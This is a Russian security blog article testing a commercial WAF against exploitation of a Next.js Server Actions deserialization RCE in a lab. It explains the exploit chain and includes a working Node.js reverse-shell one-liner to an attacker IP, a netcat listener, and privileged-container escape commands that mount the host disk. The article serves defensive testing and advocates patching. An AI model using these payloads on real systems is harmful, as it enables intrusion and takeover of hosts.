
Привет, Хабр! Меня зовут Иван Чеботарев, инженер направления защиты приложений в К2 Кибербезопасность. В статье рассмотрю, как PT Cloud Application Firewall (ucWAF) реагирует на побег из контейнера после RCE с использованием новой CVE-2025-55182. Это уязвимость в Next.js, открывающая Remote Code Execution через механизм Server Actions. Я собрал тестовый стенд с уязвимым Next.js-и проверил: классический веб-шелл, Reverse Shell и побег из контейнера. Next.js — один из самых популярных фреймворков для фронтенда, а Server Actions включены по умолчанию начиная с 14-й версии. Если вы деплоите Next.js в контейнерах, эта статья покажет, как выглядит полная цепочка от RCE до выхода на хост, и на каком этапе WAF может ее остановить.
Архитектура стенда
Чтобы продемонстрировать работу уязвимости и проверить WAF, я развернул в облаке тестовый стенд из трех компонентов: АРМ Атакующего → ucWAF → Next.js Server.

АРМ атакующего отправляет вредоносный запрос на ucWAF. Тот пропускает его через правила, перенаправляет на Next.js-сервер, получает ответ и возвращает обратно атакующему.
Next.js-сервер
В качестве цели атаки я выбрал готовый тестовый образ уязвимого приложения с GitHub: github.com/msanft/CVE-2025-55182.
Создадим Dockerfile:
FROM node:20-alpine WORKDIR /app COPY package*.json ./ RUN npm install COPY . . EXPOSE 3000 CMD ["npm", "run", "dev"]
Соберем образ и запустим контейнер:
docker build -t cve . docker run --privileged -d -p 3000:3000 --name cve-test cve-test
Заглянем в журнал контейнера, убедимся в правильности его работы и перейдем к следующему компоненту.
docker logs -f cve
nginx с мозгами
PT Cloud Application Firewall — это nginx reverse-proxy с модулем от Positive Technology, который реализует функции WAF. ucWAF здесь установлен «в разрыв» так, чтобы весь входящий трафик проходил через него и после анализа и фильтрации перенаправлялся на целевой сервер. Next.js-сервер находится в изолированной подсети и снаружи напрямую недоступен. Для целевого сервера ucWAF выглядит как обычный клиент, полностью «прозрачный» посредник.
Конфигурация nginx:
<br class="Apple-interchange-newline"><div></div> upstream next { server 172.31.5.5:3000; } server { listen 80; server_name next; location / { proxy_pass http://next; proxy_set_header Host $host; proxy_set_header X-Real_IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
Секция upstream задает адрес целевого сервера (172.31.5.5:3000). Секция server — порт прослушивания и заголовки для корректного проксирования. Важная деталь: `server_name next`, а не _ . Это означает, что перед тестированием нужно прописать запись в /etc/hosts:
<IP_WAF> next
Для наших тестов WAF сначала работал в режиме мониторинга, чтобы видеть, что именно срабатывает.
Что такое Server Actions, и что с ними не так
Теперь немного теории. Вот вы пишете full-stack приложение на Next.js и хотите выполнить какую-то логику прямо на сервере без создания отдельного API-эндпоинта, REST и GraphQL.
С Server Actions это просто: пишете функцию, помечаете ее директивой use server, и Next.js сам разбирается с маршрутизацией. Он создает уникальный хэш-идентификатор для функции и начинает принимать POST-запросы на /_next/action с этим хэшем в заголовке Next-Action. Удобно, быстро, и никакого boilerplate-кода. Неудивительно, что разработчики начали активно использовать Server Actions сразу после их появления в качестве экспериментальной фичи в 13-й версии Next.js.
Но здесь есть подвох: даже если в приложении нет ни одной функции с use server, механизм обработки Server Actions активирован по умолчанию (параметр serverActions: true).
/** @type {import('next').NextConfig} */ const nextConfig = { experimental: { serverActions: true, // включает Server Actions }, poweredByHeader: false, compress: true, reactStrictMode: true, };
Обработчик /_next/action (или POST на любую страницу с заголовком Next-Action) запускает десериализацию через decodeReplyFromBusboy. Поверхность атаки есть у любого Next.js-приложения с дефолтными настройками, даже если вы сами Server Actions не используете.
Принцип работы CVE
Суть уязвимости CVE-2025-55182 в том, что злоумышленнику достаточно отправить POST-запрос на любой роут Next.js с заголовком Next-Action (любым значением) и специально сформированным multipart-телом. Уязвимость срабатывает на этапе десериализации React Flight Protocol, до проверки хэша действия. Таким образом, RCE достигается одним запросом, даже если в приложении нет ни одной реальной Server Action.
Чтобы реализовать атаку, нужно отправить специально сформированный multipart/form-data запрос, который содержит несколько чанков (chunks) данных. Эти чанки могут ссылаться друг на друга, создавая сложные структуры.
Уязвимость заключается в том, что при обходе этих ссылок React не проверял, существует ли запрашиваемый ключ у объекта. Это позволяло добраться до цепочки прототипов (__proto__) и, в итоге, до конструктора функций (Function) всего за шесть шагов:
1. Фальшивый thenable
Для начала создается объект (chunk 0), в котором поле then устанавливается в “$1:__proto__:then”. Это ссылка на then из прототипа чанка (Chunk.prototype.then). В результате, когда этот объект возвращается из decodeReplyFromBusboy и await пытается его разрешить, вызывается Chunk.prototype.then. При этом управление передается в функцию initializeModelChunk, где начинается вторичная обработка.
2. Использование $@ для доступа к сырому чанку
Во втором чанке (chunk 1) помещается “$@0”, что означает «верни сырой чанк 0, не разрешая ссылки». Это позволяет повторно использовать тот же объект, но с уже установленным status: “resolved_model” и другими управляемыми полями.
3. Внедрение через обработчика Blob ($B)
Внутри initializeModelChunk значение chunk.value парсится как JSON. Специально сформированное значение ‘{“then”: “$B0”}’ заставляет обработчик Flight протокола выполнить код для блоба ($B). Обработчик $B выполняет:
response._formData.get(response._prefix + obj)
Здесь obj = 0, _formData и _prefix контролируются атакующим через поле _response в том же чанке.
4. Подмена _formData.get на конструктор Function
В _response._formData передается объект, у которого метод get заменен на “$1:constructor:constructor”. Благодаря прототипному доступу это превращается в Function — встроенный конструктор, создающий функции из строки кода.
5. Выполнение произвольного кода
В _prefix помещается строка с JavaScript-кодом, который должен выполниться. В результате вызова:
response._formData.get(response._prefix + "0")
Метод get подменен на конструктор Function, поэтому фактически вызывается: Function(code). Созданная функция возвращается как thenable и немедленно вызывается движком Promise, так как весь механизм десериализации работает в асинхронной цепочке. Таким образом, код выполняется.
6. RCE через child_process
В коде используется import(‘child_process’).then(cp => cp.execSync(‘команда’)) (или require, если среда CommonJS). Вывод команды можно эксфильтрировать, например, выбросив ошибку с результатом, который попадет в поле digest ответа.
Важно отметить, что атака происходит на этапе десериализации, еще до того, как Next.js проверит, какой именно Server Action вызывается. Это означает, что уязвим любой сервер с включенными Server Actions, даже если в приложении нет опасных функций. В нашем стенде нет серверных действий вовсе, но из-за того, что они включены, мы можем отправить вредоносный код. Подробнее об этом можно прочитать у автора стенда: msanft/CVE-2025-55182.
Сценарий 0: проверяем оригинальный PoC
Начнем с оригинального PoC из того же проекта на GitHub. Для запуска потребуется Python с библиотекой requests. Через PoC можно вызывать команды на сервере и получать вывод.
Например, вызываем выполнение скрипта и передаем Next.js сервер и команду: python3 exp.py http://next “ls” и в ответ получаем:
1:E{"digest":"Dockerfile\nREADME.md\napp\nbun.lock\neslint.config.mjs\nnext-env.d.ts\nnext.config.ts\nnode_modules\npackage-lock.json\npackage.json\npostcss.config.mjs\npublic\ntsconfig.json","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null}
Таким образом, в результате эксплуатации сервер возвращает HTTP‑статус 500 Internal Server Error, так как выполнение payload приводит к намеренному исключению (NEXT_REDIRECT). Однако, перед этим произвольный код успевает выполниться, и его вывод (или результат выполнения команды) передается внутри ошибки в поле digest. Таким образом, атакующий может добиться удаленного выполнения команд с получением результата.
Я собрал простой веб-интерфейс поверх этого PoC, чтобы не возиться с консолью: запросы и ответы сервера теперь видно прямо в браузере. Запускать все это нужно с АРМ атакующего и PoC, и веб-интерфейс стоят там же.

Если сейчас отправим на сервер вредоносный запрос, то столкнемся с CORS (Cross-Origin Resource Sharing). Браузер, прежде чем отправить запрос на чужой домен, шлет preflight-запрос OPTIONS чтобы узнать методы, заголовки и прочее.
Наш сервер таких запросов не ждет и честно отдаст 400-ю ошибку. Это как прийти на вечеринку с приглашением, и обнаружить, что у охранника вообще нет списка гостей. Для решения этой проблемы нужен прокси на сервере атакующего. По той же аналогии: мы не будем спорить с охранником, а попросим коллегу, который уже попал на вечеринку, взять подарочек и пронести внутрь.
Схема такая: браузер шлет запросы на свой же сервер атакующего, а тот пересылает их на целевой домен напрямую — никакого preflight, никакого CORS. Также можно было отключить CORS-политику в браузере, но это менее удобно, да и запутаться проще.
Сценарий 1: классический Web Shell против WAF
Наш ucWAF обнаруживает запросы, отправленные через /proxy или напрямую через скрипт.

ucWAF разбирает запрос по ключам, включая тело POST, и ищет паттерны, характерные для внедрения команд ОС и обнаруживает Web Shell через встроенные сигнатуры без какой-либо дополнительной настройки.

Там же в интерфейсе можно посмотреть «сырые» данные — сам запрос и ответ.

Конечно, сервер возвращает ответ только потому, что ucWAF работает в режиме обнаружения. В режиме блокировки он бы отсек запрос, и никакого ответа мы бы не получили.

Сценарий 2: Reverse Shell
Теперь рассмотрим более интересный сценарий, в котором трафик идет напрямую между сервером и атакующим в обход WAF, так что единственный шанс предотвратить атаку — перехватить инициирующий запрос, который выполняется через executeCommand.

node -e "const net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);const client=new net.Socket();client.connect(4444,'172.31.5.22',()=>{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"
Node.js поднимает исходящее TCP-соединение к АРМ атакующего (172.31.5.22:4444) и пробрасывает через него stdin/stdout шелла. В отличие от веб-шелла, здесь весь последующий трафик идет напрямую между сервером и атакующим, минуя WAF. Именно поэтому так важно заблокировать первый запрос, после установки соединения WAF уже ничего не увидит.
Перед отправкой переведем ucWAF в режим блокирования и посмотрим, что произойдет. На нашем сайте видим ответ:

В веб-интерфейсе ucWAF видим наше срабатывание без кода ответа.

В карте срабатывания видим, по какому признаку заблокирована атака. Запрос на Reverse Shell вызывает срабатывание целого ряда правил, и в логах остается то, на котором WAF прерывает соединение. Ниже переведем СЗИ в режим прослушивания, и убедимся что ucWAF срабатывает и на React и на CVE-2025-55182(React).

Заблокировать такой запрос важно: если он выполнится успешно, атакующий установит сессию с АРМ напрямую, в обход ucWAF. После этого отследить его действия уже не получится.
Давайте посмотрим, чем это грозит на практике. На АРМ атакующего нужно открыть порт для прослушивания (в моем случае 4444). Для этого понадобится netcat:
nc -lvnp 4444
Переведем ucWAF в режим обнаружения и посмотрим, как выглядит атака.

В журнале срабатываний ucWAF будет лишь запрос на такое подключение и следующие команды будут идти напрямую.

Как видим в режиме мониторинга WAF не прервал соединение и правило сработало по всем сигнатурам что были заложены в WAF.
Код ответа здесь не означает, что ucWAF что-то заблокировал в режиме мониторинга. Он говорит о другом: запрос установил соединение через Reverse Shell, и сервер Next.js не ответил, потому что он установил соединение, и ему нечего возвращать. Три срабатывания в одно время, потому что запрос с Reverse Shell задевает сразу несколько правил. В нашем случае срабатывание было одно: ucWAF заблокировал атаку по первому же признаку и дальше по правилам не проверял.
Побег из контейнера
Мы уже показали, что через CVE-2025-55182 можно выполнять команды внутри контейнера, но это изолированная среда, и сам по себе RCE в нем не означает доступ к хосту. Другое дело, если контейнер запущен с флагом --privileged.
Привилегированный контейнер получает полный набор Linux capabilities и прямой доступ к устройствам хоста через /dev. По сути, от полноценного root на хосте его отделяет только файловая система: она у контейнера своя. Но если можно обращаться к блочным устройствам, ничто не мешает смонтировать диск хоста и получить доступ ко всем его файлам.
В продакшене --privileged иногда используют «для удобства»: чтобы контейнер мог работать с Docker-сокетом, управлять сетью или обращаться к GPU. На нашем стенде мы включили его намеренно, чтобы показать всю цепочку атаки от RCE до выхода на хост.
Важное уточнение: я показываю побег именно из привилегированного контейнера. Если контейнер запущен с дефолтными настройками, описанная ниже техника не сработает.
Запустим контейнер в привилегированном режиме:
docker run --privileged -d -p 3000:3000 --name cve cve
Изнутри контейнера можно проверить, какие capabilities ему выданы:
cat /proc/self/status | grep -i capeff
Значение CapEff — это битовая маска активных capabilities. Если там 0000001fffffffff или близкое к нему значение — включены все capabilities, контейнер привилегированный. Значение вроде 00000000a80425fb означает урезанный набор — это стандартный контейнер, и монтирование дисков хоста ему недоступно.
Монтируем файловую систему хоста
Дальше атакующий через наш веб-шелл последовательно выполняет четыре команды:
# 1. Найти диски lsblk || fdisk -l || ls -la /dev/sd* /dev/vd* # 2. Создать точку монтирования mkdir -p /host # 3. Смонтировать (подставить нужный диск) mount /dev/vda1 /host && echo "Mounted!" || echo "Failed" # 4. Проверить содержимое ls /host/
Первая команда ищет блочные устройства. В облачных средах диск хоста обычно называется /dev/vda1 или /dev/sda1. Привилегированный контейнер видит все устройства хоста в /dev, поэтому lsblk покажет их так же, как на самом хосте.
После монтирования /dev/vda1 в директорию /host атакующий получает полный доступ к файловой системе хоста: /host/etc/shadow с хешами паролей, /host/root/.ssh/ с ключами, конфигурации других сервисов — все открыто. Можно читать, можно записывать. Например, добавить свой SSH-ключ в authorized_keys и получить постоянный доступ к хосту даже после того, как контейнер остановят.
Что видит ucWAF после успешного побега из контейнера
Посмотрим, как ucWAF реагирует на эту цепочку команд.

Каждая команда, отправленная через веб-шелл, проходит через ucWAF в виде отдельного POST-запроса. WAF фиксирует срабатывания на характерные паттерны: обращение к /dev/, вызовы mount, чтение системных директорий. Все это — типичные признаки попытки выхода из контейнера, и WAF ловит их по встроенным сигнатурам.
В карточке конкретного запроса видно, какое именно правило сработало и на какой фрагмент команды.

Срабатывание на конкретную отправленную команду. А вот что мы получаем в итоге.

На скриншоте вывод ls /host/: корневая файловая система хоста, смонтированная внутри контейнера. С этого момента разница между «RCE в контейнере» и «root на хосте» исчезает.
Патчить нельзя блокировать
Запятую поставьте сами, но сначала подведем итоги. Эксперимент показал, что PT Cloud Application Firewall корректно заблокировал оба основных сценария атаки через CVE-2025-55182. В результате непропатченный Next.js-сервер с ucWAF оказался защищен от эксплуатации свежей CVE.
Однако, WAF обеспечивает компенсирующий контроль, а не полностью заменяет патчи. Если завтра появится техника обфускации, которую текущие правила не покрывают, WAF пропустит такой запрос, и злоумышленник сможет проэксплуатировать уязвимость. В этом WAF похож на хорошего охранника. Он знает список нежелательных гостей, но лучше, чтобы дверь при этом все равно была заперта, потому что список всегда немного отстает от реальности.
По нашим оценкам, свежие правила для PT Cloud AF появляются в течение дня после публикации CVE, в то время как закрытие уязвимости может занимать от нескольких дней до месяцев, в случае сложных корпоративных систем. WAF закрывает именно то окно, которое неизбежно возникает между «угроза известна» и «патч задеплоен», но не заменяет патчи.
Воспроизведите сами
Панель для атак доступна на GitHub: https://github.com/DeDnY/CVE-2025-55182-poc-panel
README еще дописывается, но базовые инструкции по развертыванию описаны в этой статье. ucWAF или любой другой WAF нужно добавить самостоятельно. Архитектура стенда намеренно простая, чтобы можно было подставить любое решение и сравнить результаты.
